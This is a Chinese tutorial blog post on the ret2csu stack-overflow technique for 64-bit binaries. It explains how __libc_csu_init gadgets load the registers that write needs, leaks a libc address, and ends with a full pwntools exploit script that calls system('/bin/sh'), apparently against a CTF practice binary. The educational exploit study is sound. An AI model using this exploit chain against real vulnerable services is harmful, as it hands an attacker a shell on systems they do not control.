ret2csu 从 0 到 0.1

文章介绍了在64位程序中利用__libc_csu_init中的gadgets进行栈溢出攻击,通过精心构造payload控制寄存器,实现对write函数的调用并可能进一步执行系统调用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ret2csu

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets,比如说我们想构造 64 位程序 write 函数的三个参数,那就需要操作 rdi,rsi,rdx ,三个寄存器,如果找不全关于这三个寄存器的 gadget 呢,比如下面用的上的就只有 pop rdi;ret 和 ret,但是我们程序里只有 write 打印函数,要求三个参数

image-20240127182745982

这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

我们要利用的就是 __libc_csu_init 里的这两块区域

image-20240127182902436

可以看到 gadget1 对 rdx,rsi,edi 赋值 r14,r13,r12,这不刚好就是我们想要的参数吗,而且 gadget2 又可以操控 r14,r13,r12 的值。

我们可以 栈溢出覆盖返回地址为 gadget2 -> retn 到 gadget1 -> call write 打印基地址 -> 顺序执行到 gadget2,retn 到 有溢出的函数。关系如下图(下图仅作参考,和我们开始讲的不是一道题)

image-20240127183226934

整理一下

  1. 栈溢出覆盖返回地址为 gadget

    gadget2 = 0x4011F2 ; pop rbx 开始
    
  2. 设置 rbx 为 1,rbp 为 0

​ 因为我们 call write 得到 write 真实地址后还想继续往下走触发 gadget2 的 ret 来到 system函数,这样就能 call [r15],而且不会执行 jnz,直接往下走

  1. 设置 r12,r13,r14分别为 write 参数,r15 为返回地址设置为 gadget1 的地址

  2. 设置 r15 为 write 函数的 got 表 (因为是 call ,
    a. call 函数为跳转到某地址内所保存的地址,应该使用 got 表中的地址
    b. ret 指令必须跳转到一段有效的汇编指令,所以应为 plt 表中的地址

  3. 设置7个脏数据

    走回 gadget2 后还要

    image-20240127184811083

​ 我们已经拿到基地址了,现在这几个参数对我们来说没有用处了,我们要的是 gadget2 的 ret 返回到 dofunc 后门函数(有溢出)再一次操作。

注意到 rsp向高地址移了一个单位,所以这一阶段的 payload

payload = flat([b'a'*padding,gadget2,0,1,1,write_got,8,write_got,gadget1])
payload += p64(0xdeadbeef)*7
payload += p64(dofunc)

然后拿到了基地址得到了libc 库我们就可以按照正常流程走了

from LibcSearcher import *
from pwn import *

io = process('64')
elf = ELF('./64')
context.arch = 'amd64'
context.log_level = 'debug'

padding = 0x8 + 8
write_plt = elf.plt['write']
write_got = elf.got['write']
gadget1 = 0x4011D8
gadget2 = 0x4011F2
rdi_ret = 0x4011fb
dofunc = elf.sym['dofunc']

payload = flat([b'a'*padding,gadget2,0,1,1,write_got,8,write_got,gadget1])
payload += p64(0xdeadbeef)*7
payload += p64(dofunc)

io.sendlineafter("input:",payload)

real_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc = LibcSearcher('write',real_addr)
libc_base = real_addr - libc.dump('write')
sys_addr = libc.dump('system') + libc_base
binsh = libc.dump('str_bin_sh') + libc_base
ret = 0x401016

payload2 = flat([b'a'*padding,ret,rdi_ret,binsh,sys_addr])
io.sendlineafter("input:",payload2)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值